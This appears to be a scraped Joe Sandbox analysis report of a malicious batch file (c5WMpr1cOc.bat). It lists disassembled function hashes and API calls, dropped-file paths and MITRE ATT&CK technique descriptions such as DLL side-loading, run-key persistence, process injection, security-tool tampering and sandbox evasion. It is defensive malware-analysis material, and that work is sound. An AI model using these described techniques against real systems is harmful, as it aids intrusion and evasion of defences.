Opcode ID: ce05b70af88a824cb44154245149d035c0319d055c2a630a9302b534b8225e88
Instruction ID: a9487ba76a74090793d81a2343d024fab45b9b6b46d19d83859c0feb5ef89b10
Opcode Fuzzy Hash: ce05b70af88a824cb44154245149d035c0319d055c2a630a9302b534b8225e88
Instruction Fuzzy Hash: 7DE0D87590831076D520FE05BC06E8FBBADDFD1B50F040418F84462352E625965585B3

Function 00D44300 Relevance: 5.1, APIs: 4, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00D4435C
strchr.MSVCRT ref: 00D4436D
strlen.MSVCRT ref: 00D4437C

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID:
API String ID: 842768466-0
Opcode ID: d5b8b386a175ee1504095721700dc297af46f4822a23450834990c560ffdd954
Instruction ID: 50b62257ce26cd7aa1946e47e9000b0a67b8ae463259c00a4335b7b0c40057f8
Opcode Fuzzy Hash: d5b8b386a175ee1504095721700dc297af46f4822a23450834990c560ffdd954
Instruction Fuzzy Hash: 051126A3A8032213FF201E7A2D99B6B36CC8F52785F1C0471EC89EB102F619DD485272

Function 00D2EDF0 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D2EE36
strchr.MSVCRT ref: 00D2EE48
strlen.MSVCRT ref: 00D2EE5B
strncmp.MSVCRT ref: 00D2EE89

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strchrstrcmpstrlenstrncmp
String ID:
API String ID: 1049578524-0
Opcode ID: e29fe1228f168e341f6e3dec53bbbb7af824857bb2226dae2c24b0a853a6ab10
Instruction ID: 46b17a71ad4484a0edf4ab15f1a43c4fb97d3ccd9883ea4837ee0a47d67e2c07
Opcode Fuzzy Hash: e29fe1228f168e341f6e3dec53bbbb7af824857bb2226dae2c24b0a853a6ab10
Instruction Fuzzy Hash: EA11E9B26043259BEF309E66AC84B67B7D8AFA5348F0A416CFC4887305E731E900C6B1

Function 00F9C240 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00000000,00F9C439), ref: 00F9C267
EnterCriticalSection.KERNEL32(?,?,?,00000000,00F9C439), ref: 00F9C298

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: CriticalEnterSectionSleep
String ID:
API String ID: 3080175056-0
Opcode ID: 7c9521365bad7c335dee3314b0db193de8978af6dd298c4588a49fd5b71b35d7
Instruction ID: c30337708028a173bb11d42473ad87f90c4e8c828e9175c5c8d659ffbc67abbd
Opcode Fuzzy Hash: 7c9521365bad7c335dee3314b0db193de8978af6dd298c4588a49fd5b71b35d7
Instruction Fuzzy Hash: CC1170B18041408EEF34ABB8F48625E36E0FB16360F560529D4C6C3268D67BD984D7D2

Function 00D1E510 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00D1E535
free.MSVCRT ref: 00D1E547
free.MSVCRT ref: 00D1E559
free.MSVCRT ref: 00D1E562

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction ID: 4b73461bddd16f5133fba5fd06c47872d74f45b4c0706a8de5ccf426b1b61870
Opcode Fuzzy Hash: 63f7efdc8d9b193a621dfa2e9f9ec4736cbad6aa47e5b5c40ff63df73e0662dd
Instruction Fuzzy Hash: D5F082F280060167EF115F16ED41B47F765BF84314F244A39E82813211F735F8249691

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c5WMpr1cOc.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

Windows Analysis Report
c5WMpr1cOc.bat

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre